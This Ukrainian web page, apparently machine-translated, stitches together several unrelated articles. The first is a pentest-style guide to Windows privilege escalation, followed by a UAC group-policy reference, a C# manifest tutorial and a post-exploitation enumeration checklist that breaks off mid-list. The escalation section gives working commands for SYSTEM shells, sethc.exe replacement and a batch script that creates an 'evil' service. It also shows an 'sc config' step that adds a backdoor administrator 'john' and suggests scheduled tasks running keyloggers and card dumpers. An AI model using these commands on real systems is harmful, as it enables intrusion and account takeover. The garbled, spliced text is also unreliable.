Інтернет Windows Android

Потрібно підвищення рівня прав доступу. Основи підвищення привілеїв в Windows

Підвищення привілеїв, мабуть, один з ключових моментів, від якого залежить сценарій подальшого проведення пентеста або атаки. Дуже часто на цьому етапі все і закінчується, якщо не виходить «розширити свої повноваження». Тому сьогодні ми трохи поговоримо про способи, що дозволяють користувачеві підвищити свої привілеї не тільки до адміністраторських, але і до системних.

Вступ

Підвищення привілеїв у Windows і Linux трохи відрізняється. Незважаючи на те що обидві операційні системи несуть звичайне число вразливостей, дослідники відзначають, що повністю пропатченний Windows-сервер зустрічається набагато частіше, ніж оновлений до актуального стану Linux. До того ж час виходу віндовий патчів часто менше, що робить підвищення привілеїв на винде завданням досить цікавою і амбітною. Саме їй ми і присвятимо нашу розповідь.

варіанти

Отже, які у нас є можливості піднятися в світі Windows? Перш за все, останнім часом в ядрі ОС було знайдено досить вразливостей, пов'язаних з парсинга шрифтів, що робить процес підвищення привілеїв досить простим, якщо на руках є відповідний сплоіт. Якщо ти використовуєш Metasploit, то достатньо всього лише однієї команди, щоб отримати системний шелл. Однак все це з великою ймовірністю успішно спрацює тільки в тому випадку, якщо система не повністю пропатчити. Якщо ж на машині встановлені всі оновлення, то, на відміну від Linux, тут не вийде знайти SUID-бінарників, а змінні оточення зазвичай не передаються сервісів або процесам з більш високими привілеями. Що ж в результаті нам залишається?

Від адміна до системи, або те, що знають все

Зазвичай при згадці підвищення привілеїв на думку відразу приходить спосіб, який використовує планувальник завдань. У винде можна додати завдання за допомогою двох утиліт: at і schtasks. Друга запустить задачу від імені користувача, що додав завдання, в той час як перша - від імені системи. Стандартний трюк, про який ти напевно чув, що дозволяє запустити консоль з правами системи:

At 13:01 / interactive cmd

Друге, що спадає на думку, - це додавання сервісу, який буде запускати необхідний файл / виконувати команду:

@echo off @break off title root Cls echo Creating service. sc create evil binpath \u003d "cmd.exe / K start" type \u003d own type \u003d interact\u003e nul 2\u003e & 1 echo Starting service. sc start evil\u003e nul 2\u003e & 1 echo Standing by ... ping 127.0.0.1 -n 4\u003e nul 2\u003e & 1 echo Removing service. echo. sc delete evil\u003e nul 2\u003e & 1

Третій спосіб полягає в підміні системної утиліти C: \\ windows \\ system32 \\ sethc.exe на, наприклад, cmd. Якщо після цього разлогініться і натиснути кілька разів клавішу Shift, то з'явиться консоль з системними правами.

Що стосується автоматизованих способів, то на думку відразу ж приходить Metasploit і його getsystem. Альтернативним варіантом можна вважати PsExec від Sysinternals (psexec -i -s -d cmd.exe).

Ми підемо іншим шляхом

У всіх названих методів є спільний недолік: необхідні адміністраторські привілеї. Це означає, що ми підвищуємо привілеї вже з-під привілейованого аккаунта. У більшості випадків, коли ти отримав адмінських права, у тебе на руках з'являється купа варіантів, як піднятися ще вище. Так що це не дуже складне завдання. Ми ж поговоримо сьогодні про методи підвищення привілеїв, які не використовують будь-які 0day-уразливості, вважаючи, що у нас звичайна система і на руках аккаунт звичайного непривилегированного користувача.

Полювання за credentials

Один з надійних і стабільних способів підвищення привілеїв і закріплення в системі - отримати паролі адміністраторів або користувачів, що володіють більш високими привілеями. І тут саме час згадати про автоматизованій установці програмного забезпечення. Якщо ти керуєш доменом, що включає в себе великий парк машин, однозначно тобі не захочеться ходити і встановлювати ПО на кожну з них вручну. Та й часу це буде віднімати стільки, що ні на які інші завдання не вистачить. Тому використовуються Unattended installations, які породжують файли, що містять адмінських паролі в найчистішому вигляді. Що являє собою просто скарб як для пентестеров, так і для зловмисників.

Unattended Installs

У разі автоматизованої установки на клієнті залишається досить цікавий для нас файл Unattended.xml, який зазвичай знаходиться або в% WINDIR% \\ Panther \\ Unattend \\, або в% WINDIR% \\ Panther \\ і може зберігати пароль адміністратора у відкритому вигляді. З іншого боку, щоб отримати цей файл з сервера, не потрібно навіть ніякої аутентифікації. Треба знайти лише «Windows Deployment Services» сервер. Для цього можна скористатися скриптом auxiliary / scanner / dcerpc / windows_deployment _services з Metasploit. І хоча Windows Deployment Services не єдиний спосіб виконання автоматизованих інсталяцій, файл Unattended.xml вважається стандартом, так що його виявлення можна прирівняти до успіху.

GPP

XML-файли налаштувань групової політики безпеки (Group Policy Preference) досить часто містять в собі набір зашифрованих облікових даних, які можуть використовуватися для додавання нових користувачів, створення куля і так далі. На щастя, метод шифрування документований, таким чином, можна запросто отримати паролі в чистому вигляді. Більш того, команда Metasploit вже все зробила за тебе - досить скористатися модулем /post/windows/gather/credentials/gpp.rb. Якщо тобі цікаві подробиці, то вся необхідна інформація доступна за цим посиланням.

призначені для користувача права

Дуже часто підвищення привілеїв виявляється наслідком неправильно налаштованих призначених для користувача прав. Наприклад, коли користувач домену є локальним адміністратором (або Power User'ом) на хості. Або коли користувачі домену (або члени доменних груп) є локальними адміністраторами на всіх хостах. В такому випадку тобі вже толком не доведеться нічого робити. Але такі варіанти підвертаються не так часто.

AlwaysInstallElevated

Іноді адміністратори дозволяють звичайним користувачам самостійно встановлювати програми, зазвичай робиться це через наступні ключі реєстру:

HKLM \\ SOFTWARE \\ Policies \\ Microsoft \\ Windows \\ Installer \\ AlwaysInstallElevated

HKCU \\ SOFTWARE \\ Policies \\ Microsoft \\ Window s \\ Installer \\ AlwaysInstallElevated

Вони вказують системі, що будь-який MSI-файл повинен встановлюватися з підвищеними привілеями (NT AUTHORITY \\ SYSTEM). Відповідно, задіявши спеціальним чином створений файл, можна знову ж виконати дії від імені системи і прокачати свої привілеї.

До складу Metasploit входить спеціальний модуль exploit / windows / local / always_install_elevated, який створює MSI-файл з вбудованим в нього спеціальним виконуваним файлом, який витягується і виконується монтажником з привілеями системи. Після його виконання MSI-файл припиняє установку (шляхом виклику спеціально створеного невалидность VBS), щоб запобігти реєстрацію дії в системі. До того ж якщо запустити установку з ключем / quiet, то користувачеві навіть не виведеться помилка.

зниклий автозапуск

Дуже часто трапляється, що система зберігає запис про фото, який треба автоматично запустити, навіть після того, як сам файл вже канув в Лету. Може, якийсь сервіс був некоректно видалений - виконуваного файлу немає, а запис у реєстрі залишилася, і при кожному запуску система безуспішно намагається його стартанути, забиваючи журнал подій повідомленнями про фейлов. Цією ситуацією також можна скористатися для розширення своїх повноважень. Насамперед треба знайти всі такі осиротілі записи. Наприклад, за допомогою утиліти autorunsc від Sysinternals.

Autorunsc.exe -a | findstr / n / R "File \\ not \\ found"

Після чого, як ти здогадався, залишиться тільки якось підсунути на місце зниклого файлу свого кандидата.

магія лапок

Так-так, лапки можуть не тільки зіграти злий жарт в SQL-запитах, дозволивши провести ін'єкцію, але і допомогти підняти привілеї. Проблема досить стара і відома з часів NT. Суть в тому, що шляхи до виконуваних файлів деяких сервісів виявляються не обрамленими лапками (наприклад, ImagePath \u003d C: \\ Program Files \\ Common Files \\ Network Associates \\ McShield \\ McShield.exe), при цьому в дорозі присутні символи пробілу. У такому випадку, якщо атакуючий створить файл, який буде додавати нових адміністраторів в систему або виконувати ще якісь дії, і назве його C: \\ Program Files \\ common.exe, то при наступному запуску сервісу запуститься саме common.exe, а решта частина шляху буде сприйнята як аргумент (аргументів). Зрозуміло, що в Program Files непривілейований користувач покласти нічого не зможе, але виконуваний файл сервісу може бути і в іншій директорії, тобто у користувача буде можливість підсунути свій файл.

Для того щоб скористатися цією технікою, треба знайти вразливий сервіс (який не буде використовувати лапки в шляху до свого бінарники). Робиться це в такий спосіб:

Wmic service get name, displayname, pathname, startmode | findstr / i "auto" | findstr / i / v "c: \\ windows \\\\" | findstr / i / v "" "

Правда, на XP це зажадає привілеїв адміна, тому там краще скористатися наступним методом: отримати список сервісів - sc query, далі дивитися інформацію по кожному сервісу - sc qc servicename.

Усе за планом

Ще один механізм, який може допомогти підняти права і про який зазвичай забувають, - планувальник завдань. Утиліта schtasks дозволяє вішати завдання на певні події. Найбільш цікаві для нас - ONIDLE, ONLOGON і ONSTART. Як випливає з назв, ONIDLE буде виконуватися кожен раз, коли комп'ютер не, ONLOGON і ONSTART - при вході користувача і при запуску системи відповідно. Таким чином, на кожне з подій можна повісити окреме завдання. Наприклад, при запуску системи копіювати куди-небудь шкідливий бінарник / кейлоггер / ... і запускати його. При вході користувачів в систему - запускати дампер кредитних карт. Коротше, все обмежується тільки твоєї фантазією і поставленим завданням.

Фокуси з дозволами

Дозволи на доступ до файлів - це звичайно перше захисний засіб, яке заважає підняти нам свої привілеї. Було б заманливо просто так переписати будь-якої системний файл (наприклад, той же самий sethc.exe, згаданий на самому початку статті) і отримати відразу системні привілеї. Але все це лише мрії, на ділі у нас є лише дозвіл на його читання, яке нам зовсім нічого не дає. Однак не варто вішати ніс, бо з дозволами теж не все так гладко - тут, як і скрізь, існують свої підводні камені, знання яких дозволяє робити неможливе можливим.

Одна з системних директорій, захищених даними механізмом, особливо цікава з точки зору підвищення привілеїв - Program Files. Непривілейованих користувачам доступ туди заборонений. Однак іноді буває, що в процесі установки інсталятори некоректно виставляють права на файли, у результаті чого всім користувачам надається повний доступ до виконуваних файлів. Що з цього випливає - ти вже здогадався.

Ще одне з обмежень - простому смертному не дозволяється писати в корінь системного диска. Однак, наприклад, на XP при створенні нової директорії в корені диска група BUILTIN \\ Users отримує FILE_APPEND_DATA і FILE_WRITE_DATA дозволу (навіть якщо власником папки є адміністратор):

BUILTIN \\ Users: (OI) (CI) R BUILTIN \\ Users: (CI) (special access :) FILE_APPEND_DATA BUILTIN \\ Users: (CI) (special access :) FILE_WRITE_DATA

На «сімці» відбувається майже те ж саме, тільки дозволу отримує група AUTHENTICATED USERS. Яким чином така поведінка може перетворитися в проблему? Просто деякі додатки встановлюють себе поза захищених директорій, що дозволить легко підмінити їх виконувані файли. Наприклад, така оказія трапилася з Metasploit Framework в разі її багатокористувацької установки. Даний баг був пофіксено в версії 3.5.2, а утиліта переїхала в Program Files.


Як шукати такі директорії / файли

Виявлення директорії з некоректними дозволами - це вже половина успіху. Однак її потрібно спочатку знайти. Для цього можна скористатися наступними двома інструментами: AccessChk і Cacls / ICacls. Щоб знайти за допомогою AccessChk «слабкі» директорії, знадобляться дані команди:

Accesschk.exe -uwdqs users c: \\ accesschk.exe -uwdqs "Authenticated Users" c: \\

Для пошуку файлів зі «слабкими» дозволами служать наступні:

Accesschk.exe -uwqs users c: \\ *. * Accesschk.exe -uwqs "Authenticated Users" c: \\ *. *

Те ж саме можна виконати і за допомогою Cacls / ICacls:

Cacls "c: \\ Program Files" / T | findstr Users

Трюки з сервісами

Ще один варіант, як піднятися в системі вище, - це скористатися місконфігураціямі і помилками сервісів. Як показує практика, некоректними дозволами можуть володіти не тільки файли і папки, але також і сервіси, що працюють в системі. Щоб виявити такі, можна скористатися утилітою AccessChk від відомого тобі Марка Руссиновича:

Accesschk.exe -uwcqv *

Легше за все буде побачити SERVICE_ALL_ACCESS дозвіл для аутентіфіцированний користувачів або power-юзерів. Але також великою удачею можна вважати і такі:

  • SERVICE_CHANGE_CONFIG - можемо змінювати виконуваний файл служби;
  • WRITE_DAC - можна міняти дозволу, що призводить до отримання дозволу SERVICE_CHANGE_CONFIG;
  • WRITE_OWNER - можна стати власником і змінити дозволу;
  • GENERIC_WRITE - успадковує дозволи SERVICE_CHANGE_CONFIG;
  • GENERIC_ALL - успадковує дозволи SERVICE_CHANGE_CONFIG.

Якщо буде виявлено, що встановлено одне (або декілька) з цих дозволів для непривілейованих користувачів, шанси підвищити свої привілеї різко зростають.

Як підвищити?

Припустимо, ти знайшов відповідний сервіс, настав час попрацювати над ним. У цьому допоможе консольна утиліта sc. Для початку отримуємо повну інформацію про цікавить нас сервісі, припустимо, це upnphost:

Sc qc upnphost

За допомогою цієї ж утиліти отконфігуріруем його:

Sc config vulnsrv binpath \u003d "net user john hello / add && net localgroup Administrators john / add" type \u003d interact sc config upnphost obj \u003d ". \\ LocalSystem" password \u003d ""

Як бачиш, при наступному старті служби замість її виконуваного файлу виконається команда net user john hello / add && net localgroup Administrators john / add, додавши в систему нового користувача john з паролем hello. Залишається тільки вручну перезапустити сервіс:

Net stop upnphost net start upnphost

Ось і вся магія.

Що в підсумку

Колись давним-давно я прочитав в журналі статтю, в якій були наведені основні прийоми для підвищення привілеїв в ОС Windows. Особливого значення я їй тоді не надав, але теорія в голові відклалася і одного разу дуже сильно мене врятувала. Так що, сподіваюся, і ти знайдеш у цій статті для себе щось нове, що допоможе якось подолати черговий бар'єр.

Частини статті був детально описаний принцип роботи контролю облікових записів користувачів. У цій частині мова йтиме про налаштування UAC в тому випадку, коли ваш комп'ютер працює автономно, тобто не входить до складу домену Active Directory. Для настройки контролю облікових записів користувачів служить функція локальної політики безпеки, яку можна знайти в редакторі об'єктів локальної групової політики.

Існує 10 налаштувань групової політики, що відповідають за налаштування контролю облікових записів користувачів. Для того, щоб змінити параметри політики, потрібно відкрити в оснащенні «Редактор локальної групової політики» Конфігурація комп'ютера \\ Конфігурація Windows \\ Параметри безпеки \\ Локальні політики \\ Параметри безпеки. У цій статті ви знайдете спосіб настройки кожного параметра політики засобами системного реєстру. У наступній таблиці наведені значення за замовчуванням для кожного з параметрів політики.

Налаштування параметрів групових політик контролю облікових записів за замовчуванням:

Параметр групової політикиЗначення за замовчуванням
Служба захисту користувачів: включення режиму адміністративного підтвердженнявключений
Служба захисту користувачів: виявлення установки додатків і запит на підвищення праввключений
Служба захисту користувачів: переключення до безпечного робочого столу при виконанні запиту на підвищення праввключений
Служба захисту користувачів: поведінка запиту на підвищення прав для адміністраторів в режимі адміністративногоЗапит згоди для двійкових даних не з Windows
Служба захисту користувачів: поведінка запиту на підвищення прав для звичайних користувачівЗапит облікових даних
Служба захисту користувачів: підвищувати права тільки для UIAccess-додатків, встановлених в безпечному розташуваннявключений
Служба захисту користувачів: підвищення прав тільки для підписаних і перевірених виконуваних файліввідключений
Служба захисту користувачів: при збоях записи в файл або реєстр віртуалізація в розміщення користувачавключений
Служба захисту користувачів: дозволяти UIAccess-додатків запитувати підвищення прав, не використовуючи безпечний робочий стілвідключений
Служба захисту користувачів: використання режиму адміністративного підтвердження для вбудованої облікового запису адміністраторавідключений

Параметри групових політик, які мають відношення до контролю облікових записів користувачів (UAC) детально розглянуті нижче:

Всі адміністратори працюють в режимі адміністративного

Цей параметр політики визначає характеристики всіх політик контролю облікових записів для комп'ютера. Від даного параметра залежить, чи будуть облікові записи адміністраторів запускатися в «режимі адміністративного», тобто чи будуть відображатися діалоги із запитом на підвищення повноважень. Відключення цієї настройки, грубо кажучи, повністю відключає функціонал контролю облікових записів користувачів. При зміні цього параметра політики необхідно перезавантажити комп'ютер. Значення за замовчуванням - включено.

Можливі значення параметра:

  • включено. Режим адміністративного підтвердження включений для того, щоб дозволити вбудованої облікового запису адміністратора і всім іншим користувачам, які є членами групи «Адміністратори», Працювати в режимі адміністративного.
  • відключено. Режим схвалення адміністратором і всі відповідні параметри політики контролю облікових записів будуть відключені.

; Відключити "EnableLUA" \u003d dword: 00000000

Виявлення установки додатків і запит на підвищення прав

Ця установка визначає характеристики виявлення установки додатків для комп'ютера, перевіряючи чи підписані програми, які застосовуються для розгортання додатків чи ні. За замовчуванням, якщо користувач входить в робочу групу, вона включена.

Можливі значення параметра:

  • Включено (за замовчуванням для будинку). У тому випадку, якщо програма установки додатків виявляє необхідність підвищення повноважень, користувачеві пропонується ввести ім'я користувача і пароль облікового запису адміністратора. Якщо користувач вводить правильні облікові дані, операція триває з відповідними правами. Вид запиту залежить від того, до якої групи належить користувач.
  • Відключено (за замовчуванням для організації). Якщо це буде вибрано, виявлення програми установки додатків не видає запит на підвищення повноважень. Зазвичай ця настройка застосовується в організаціях, комп'ютери і користувачі якої входять до складу домену і для розгортання додатків використовуються технології делегованої установки (Group Policy Software Install - GPSI). Відповідно, необхідність у виявленні установника відпадає.

Налаштування поточної політики за допомогою реєстру:

; Відключити "EnableInstallerDetection" \u003d dword: 00000000

Перемикання до безпечного робочого столу при виконанні запиту на підвищення прав

Даний параметр політики визначає, чи будуть запити на підвищення повноважень виводитися на інтерактивний робочий стіл користувача або на безпечний робочий стіл при ініціюванні UAC-запиту. Значення за замовчуванням - включено. При зміні цього параметра політики необхідно перезавантажити комп'ютер.

Можливі значення параметри:

  • включено. Всі запити на підвищення прав виводяться на безпечний робочий стіл незалежно від параметрів політики поведінки запрошення для адміністраторів і звичайних користувачів.
  • відключено. Всі запити на підвищення прав виводяться на інтерактивний робочий стіл користувача.

Налаштування поточної політики за допомогою реєстру:

; Відключити "PromptOnSecureDesktop" \u003d dword: 00000000

Поведінка запиту на підвищення прав для адміністраторів в режимі адміністративного

Поточна настройка дозволяє визначити дії користувача, який входить до групи «Адміністратори» при виконанні операції, що вимагає підвищення прав. Значення за замовчуванням встановлено «Запит згоди для сторонніх довічних файлів (НЕ Windows)».

Можливі значення параметра:

  • Підвищення без запиту. Дозволяє привілейованим облікових записів виконати операцію, що вимагає підвищення прав, без підтвердження згоди або введення облікових даних. Бажано використовувати дану опцію тільки в середовищах з максимальними обмеженнями користувачів. Якщо це буде вибрано, призначені для користувача повноваження стануть ідентичними вбудованої облікового запису адміністратора.
  • . Для будь-якої операції, що вимагає підвищення прав, на безпечному робочому столі буде виводитися пропозицію ввести ім'я та пароль привілейованого користувача. Якщо вводяться правильні облікові дані, операція буде продовжена з максимальними доступними правами користувача.
  • Запит згоди на безпечному робочому столі. Для будь-якої операції, що вимагає підвищення прав, на безпечному робочому столі буде виводитися пропозицію вибрати: «Дозволити» або «Заборонити». При виборі опції «Дозволити», Операція буде продовжена з максимальними доступними правами користувача.
  • Запит облікових даних. Для будь-якої операції, яка вимагає підвищення повноважень, буде виводитися пропозицію ввести ім'я користувача і пароль облікового запису адміністратора. При введенні правильних облікових даних, операція буде продовжена з підвищеними повноваженнями.
  • запит згоди. При виборі цієї опції, для будь-якої операції, що вимагає підвищення прав, користувачеві буде пропонуватися вибрати натиснути на кнопку: «Дозволити» або «Заборонити». При натисканні на кнопку «Дозволити»
  • Запит згоди для сторонніх довічних файлів (НЕ Windows). При виборі цієї опції, на безпечному робочому столі буде виводитися пропозицію вибору: «Дозволити» або «Заборонити», В тому випадку, коли операція для додатка стороннього (НЕ Майкрософт) виробника вимагає підвищення прав. При натисканні на кнопку «Дозволити», Операція буде продовжена з максимальними доступними привілеями користувача.

Налаштування поточної політики за допомогою реєстру:

; Підвищення без запиту "ConsentPromptBehaviorAdmin" \u003d dword: 00000000; Запит облікових даних на безпечному робочому столі; "ConsentPromptBehaviorAdmin" \u003d dword: 00000001; Запит згоди на безопсності робочому столі; "ConsentPromptBehaviorAdmin" \u003d dword: 00000002; Запит облікових даних; "ConsentPromptBehaviorAdmin" \u003d dword: 00000003; Запит згоди; "ConsentPromptBehaviorAdmin" \u003d dword: 00000004; Запит згоди для двійкових даних не з Windows; "ConsentPromptBehaviorAdmin" \u003d dword: 00000005

Поведінка запиту на підвищення прав для звичайних користувачів

Даний параметр політики визначає їх дії при взаємодії звичайного користувача з додатками, які вимагають підвищення прав. Значення за замовчуванням - «Запит облікових даних на безпечному робочому столі».

Можливі значення параметра:

  • Запит облікових даних. Використовуючи цей параметр, звичайному користувачеві пропонується вибрати обліковий запис адміністратора і ввести пароль для виконання наступних дій. Операція буде продовжена тільки в тому випадку, якщо облікові дані введені правильно.
  • Автоматично заборонити запити на підвищення прав. При виборі цього параметра, для звичайного користувача буде показано повідомлення про помилку в зв'язку з забороною на доступ в разі виконання операції, що вимагає підвищення повноважень. Організації, настільні комп'ютери яких використовуються звичайними користувачами, можуть вибрати цей параметр політики для зменшення кількості звернень до служби підтримки.
  • Запит облікових даних на безпечному робочому столі. Вибравши цей параметр, звичайному користувачеві пропонується вибрати обліковий запис адміністратора і ввести пароль для виконання наступних дій тільки на безпечному робочому столі. Операція буде продовжена тільки в тому випадку, якщо облікові дані введені правильно.

Налаштування поточної політики за допомогою реєстру:

; Автоматично відхиляти запити на підвищення прав "ConsentPromptBehaviorUser" \u003d dword: 00000000; Запит облікових даних на безпечному робочому столі "ConsentPromptBehaviorUser" \u003d dword: 00000001; Запит облікових даних "ConsentPromptBehaviorUser" \u003d dword: 00000003

Підвищувати права для UIAccess-додатків тільки при установці в безпечних місцях

Поточний параметр політики дозволяє управляти дозволом на місцезнаходження додатків, які запитують виконання на рівні цілісності, що визначається атрибутом призначеного для користувача інтерфейсу доступу (User Interface of Access - UIAccess) в безпечному місці файлової системи. За замовчуванням, ця настройка включена і у програм із особливими можливостями, для атрибута UIAccess в маніфесті встановлюється значення True для управління вікна запиту підвищення превелегій. Якщо у додатків значення false, тобто якщо атрибут опущений або відсутній маніфест для збірки, додаток не зможе отримати доступ до захищеного призначеному для користувача інтерфейсу. Безпечними вважаються тільки такі папки:

... \\ Program Files \\, включаючи вкладені папки

... \\ Windows \\ system32 \\

... \\ Program Files (x86) \\, включаючи вкладені папки для 64-розрядних версій Windows

Можливі значення параметра:

  • включено. Додаток буде запускатися з рівнем цілісності UIAccess тільки в тому випадку, якщо воно знаходиться в безпечній папці файлової системи.
  • відключено. Додаток буде запускатися з рівнем цілісності UIAccess, навіть якщо воно не знаходиться в безпечній папці файлової системи.

Налаштування поточної політики за допомогою реєстру:

; Відключити "EnableSecureUIAPaths" \u003d dword: 00000000

Підвищення прав тільки для підписаних і перевірених виконуваних файлів

Дана настройка групової політики контролю облікових записів дозволяє визначати, чи потрібно виконувати перевірку справжності підписів інтерактивних додатків з інфраструктурою відкритого ключа (Public key infrastructure PKI), які вимагають підвищення повноважень. Завданням PKI є визначення політики випуску цифрових сертифікатів, видача їх і анулювання, зберігання інформації, необхідної для подальшої перевірки правильності сертифікатів. У число додатків, що підтримують PKI, входять: захищена електронна пошта, протоколи платежів, електронні чеки, електронний обмін інформацією, захист даних в мережах з протоколом IP, електронні форми та документи з електронним цифровим підписом. Якщо включена ця перевірка, то програми ініціюють перевірку шляху сертифіката. Значення цієї настройки за замовчуванням - Відключено.

Можливі значення параметра:

  • включено. Примусово ініціюється перевірка шляху PKI-сертифікатів, перш ніж запускається на виконання даний файл. В основному, це налаштування використовується в організаціях з доменом, в тому випадку якщо адміністратор помістив PKI-сертифікати в сховищі надійних видавців.
  • відключено. При установці цього параметра, контроль облікових записів не ініціює перевірку ланцюжка верифікації PKI-сертифікатів, перш ніж дозволити виконання даного файлу.

Налаштування поточної політики за допомогою реєстру:

; Відключити "ValidateAdminCodeSignatures" \u003d dword: 00000000

При збої записи в файл або реєстр віртуалізація в місце розміщення користувача

Цей параметр керує перенаправленням збоїв записи додатків в певні розташування в реєстрі і файлової системи. У разі, якщо ця настройка включена, для застарілих додатків, які намагаються зчитувати або записувати інформацію, використовуючи захищені області системи, контроль облікових записів виртуализирует реєстр і файлову систему. Завдяки цьому налаштуванні, UAC дозволяє зменшити небезпеку застарілих додатків, які виконуються від імені адміністратора і під час виконання записують дані в папку% ProgramFiles%,% Windir%; % Windir% \\ system32 або в розділ системного реєстру HKLM \\ Software \\. Значення за замовчуванням - включено.

Можливі значення параметра:

  • включено. Збої записи додатків перенаправляються під час виконання у визначені користувачем розташування в файлової системі і реєстрі.
  • відключено. Виконання програм, які записують дані в безпечні розташування, закінчується помилкою, і не буде виконуватися.

Налаштування поточної політики за допомогою реєстру:

; Відключити "EnableVirtualization" \u003d dword: 00000000

Дозволити UIAccess-додатків запитувати підвищення прав, не використовуючи безпечний робочий стіл

Цей новий параметр політики, що з'явився в операційних системах Windows 7 і Windows Server 2008 R2, визначає, чи можуть UIAccess-додатки автоматично відключати безпечний робочий стіл для запитів на підвищення повноважень, використовуваних звичайним користувачем. Значення за замовчуванням - відключено.

Можливі значення параметра:

  • включено. Якщо це буде вибрано, UIAccess-програми, в тому числі віддалений помічник Windows, автоматично відключають безпечний робочий стіл для запитів на підвищення повноважень. Якщо параметр політики «Служба захисту користувачів: переключення до безпечного робочого столу при виконанні запиту на підвищення прав» включений, то пропозиція з'явиться на інтерактивному робочому столі користувача, а не на безпечному робочому столі.
  • відключено. При виборі цього параметра, безпечний робочий стіл може бути відключений тільки користувачем інтерактивного робочого столу або вимкнувши параметр політики «Служба захисту користувачів: переключення до безпечного робочого столу при виконанні запиту на підвищення прав».

Налаштування поточної політики за допомогою реєстру:

; Відключити "EnableUIADesktopToggle" \u003d dword: 00000000

Режим схвалення адміністратором для вбудованої облікового запису адміністратора

Ця установка визначає, чи застосовується в контролі облікових записів користувачів режим адміністративного підтвердження до вбудованої облікового запису «Адміністратор». Ця вбудована обліковий запис за замовчуванням дозволяє користувачеві входити в систему в режимі сумісності з Windows XP, що дозволяє запускати будь-які додатки з повними правами адміністратора. За замовчуванням цей параметр політики відключений.

Можливі значення параметра:

  • включено. При виборі цього значення параметра, для вбудованої облікового запису адміністратора буде використовуватися режим адміністративного підтвердження. При цьому будь-яка операція, що вимагає підвищення прав, буде супроводжуватися запитом на підтвердження операції.
  • відключено. Вбудована обліковий запис адміністратора виконує всі програми з повними правами адміністратора.

Налаштування поточної політики за допомогою реєстру:

; Відключити "FilterAdministratorToken" \u003d dword: 00000000

висновок

У цій статті розповідається про всі можливі налаштуваннях контролю облікових записів користувачів. Розглянуто всі десять параметрів політики безпеки, які відповідають за всі можливі дії, пов'язані з UAC. Крім настройки керування обліковими записами за допомогою групової політики, також розглянуті еквівалентні їм твіки реєстру.

UAC(User Account Control) - технологія контролю облікових записів, що з'явилася вперше в Windows Vista і старше. Дана технологія забороняє програмам виконувати дії, що вимагають права адміністратора. При виконанні програмою таких дій, її робота припиняється і користувачеві видається вікно із запитом на захищеному робочому столі (для того, щоб неможливо було натиснути програмно кнопку ОК). Наприклад, якщо вашій програмі буде потрібно внести зміни в розділ реєстру HKEY_LOCAL_MACHINE, То їй будуть потрібні права адміністратора.
Для вирішення даної проблеми можна скористатися впровадженням в проект файлу маніфесту, який операційна система буде зчитувати і автоматично визначати необхідні для запуску параметри.
Розглянемо використання файлу маніфесту, в додаток « Windows Form». Для цього відкрийте Visual Studio (в даному прикладі використовується версія 2012) і створіть проект « Windows Form». Відкрийте « Solution Explorer»(Оглядач рішень), який забезпечує упорядковане представлення проектів і їх файлів, перейдіть в меню« вид» - « оглядач рішень». Виконайте клік правою клавішею миші в « Обозревателе рішень»По імені проекту і виберіть з контекстного меню, пункт« Додати» - « Створити елемент ...».

У вас відкриється нове вікно « Додавання нового елемента - ...»Знайдіть елемент Visual С # з ім'ям« Файл маніфесту додатки», Виберете його і натисніть кнопку« Додати».

У « Обозревателе рішень»У вас з'явиться новий пункт з ім'ям файлу маніфесту. Так само він буде автоматично відкрито в редакторі коду.

Для настройки прав необхідних для виконання програми потрібно визначити рівень безпеки і описати елемент « requestedExecutionLevel». Цей елемент не має дочірніх елементів і має наступні атрибути:
1) Level- Обов'язковий. Встановлює рівень безпеки, необхідний додатком. Для цього атрибута доступні наступні значення:
  • asInvoker- додаток запускається з правами процесу-батька. Це означає, що якщо виконується запуск програми з додатку, який вже запущено з правами адміністратора, то вона автоматично буде мати ті ж права. Цей режим рекомендується Microsoft в більшості випадків. Тобто це ті програми, які не вимагають прав адміністратора;
  • highestAvailable- під час запуску програми з більш високими правами, ніж має поточний користувач. З такими правами запускаються Regedit.exe, Mmc.exe;
  • requireAdministrator- запитуються повні права адміністратора. Тобто потрібні для додатків, які не можуть працювати без прав адміністратора.

Встановлення програм « ClickOnce»Можлива тільки при значенні« asInvoker ». При будь-якому іншому значенні установка буде неможлива.

2) uiAccess- Необов'язковий. Вказівка \u200b\u200bтого, чи вимагає додаток доступ до захищених елементів призначеного для користувача інтерфейсу для реалізації спеціальних можливостей. Доступні значення " true"І" false", За замовчуванням використовується значення" false". Значення" true"Повинні мати лише підписані додатки і запускалася з папок" \\ Program Files \\ "і" \\ windows \\ system32 \\ ". Найчастіше, в цьому немає необхідності.
Для того щоб програма при запуску вимагала підвищення прав до рівня адміністратора замінимо в атрибуті « Level" значення за замовчуванням " asInvoker»На« requireAdministrator».

Виконайте побудову рішення, натиснувши на клавішу « F6». Якщо ви все зробили правильно, то в операційних системах Windows Vista і старше, на іконці файлу програми з'явиться значок щита, що означає, що даною програмою потрібно підвищення прав.

Для перевірки прав вашого застосування ви можете скористатися наведеними нижче лістингом.
string s \u003d new WindowsPrincipal (WindowsIdentity.GetCurrent ()). IsInRole (WindowsBuiltInRole.Administrator)? "Адміністратор": "Звичайний користувач"; Якщо у вас консольний додаток, то для нього принцип дій такий же.

Загалом, тут представлені способи, які допоможуть нам досягти мети підвищення привілеїв.

Відправною точкою для цієї невеликої статті є непривілейованих оболонка (обліковий запис). Можливо, ми використовували експлойт або провели атаку і отримали цю оболонку.

В принципі, в початковий момент часу ми не розуміємо машину: що вона робить, до чого вона підключена, який рівень привілеїв у нас є або навіть якась це операційна система.

Спочатку нам потрібно отримати потрібну нам інформацію, щоб зрозуміти, де ми взагалі знаходимося і що маємо:

Systeminfo | findstr / B / C: "Назва ОС" / C: "Версія ОС"
Ця команда дозволяє визначити, як з неї видно, Назва та версію ОС. Можна виконати її і без параметрів, тоді висновок команди буде повнішим, але нам досить і цього.

  • hostname - ім'я користувача.
  • echo% username% - ім'я користувача.
Далі подивимося, які користувачі є ще на даному хості і отримаємо більш детальну інформацію про своє користувача.
  • net users - інші користувачі
  • net user user1 - детальна інформація по користувачеві, де user1 - ім'я вашого користувача.
Отримавши інформацію про учетке, подивимося інформацію про мережевому взаємодії даного хоста.

Спочатку глянемо на наявні інтерфейси і таблицю маршрутизації.

  • ipconfig / all - інформація про наявні інтерфейси.
  • route print - таблиця маршрутизації
  • arp -A - таблиця arp записів
Далі подивимося активні з'єднання з мережею та правила брандмауера.
  • netstat -ano - активні з'єднання з мережею.
-a - запуск з даними параметром виведе на екран всі активні підключення TCP, а також порти TCP і UDP, що прослуховуються системою;
-n - параметр дозволяє показати активні підключення TCP з адресами і номерами портів;
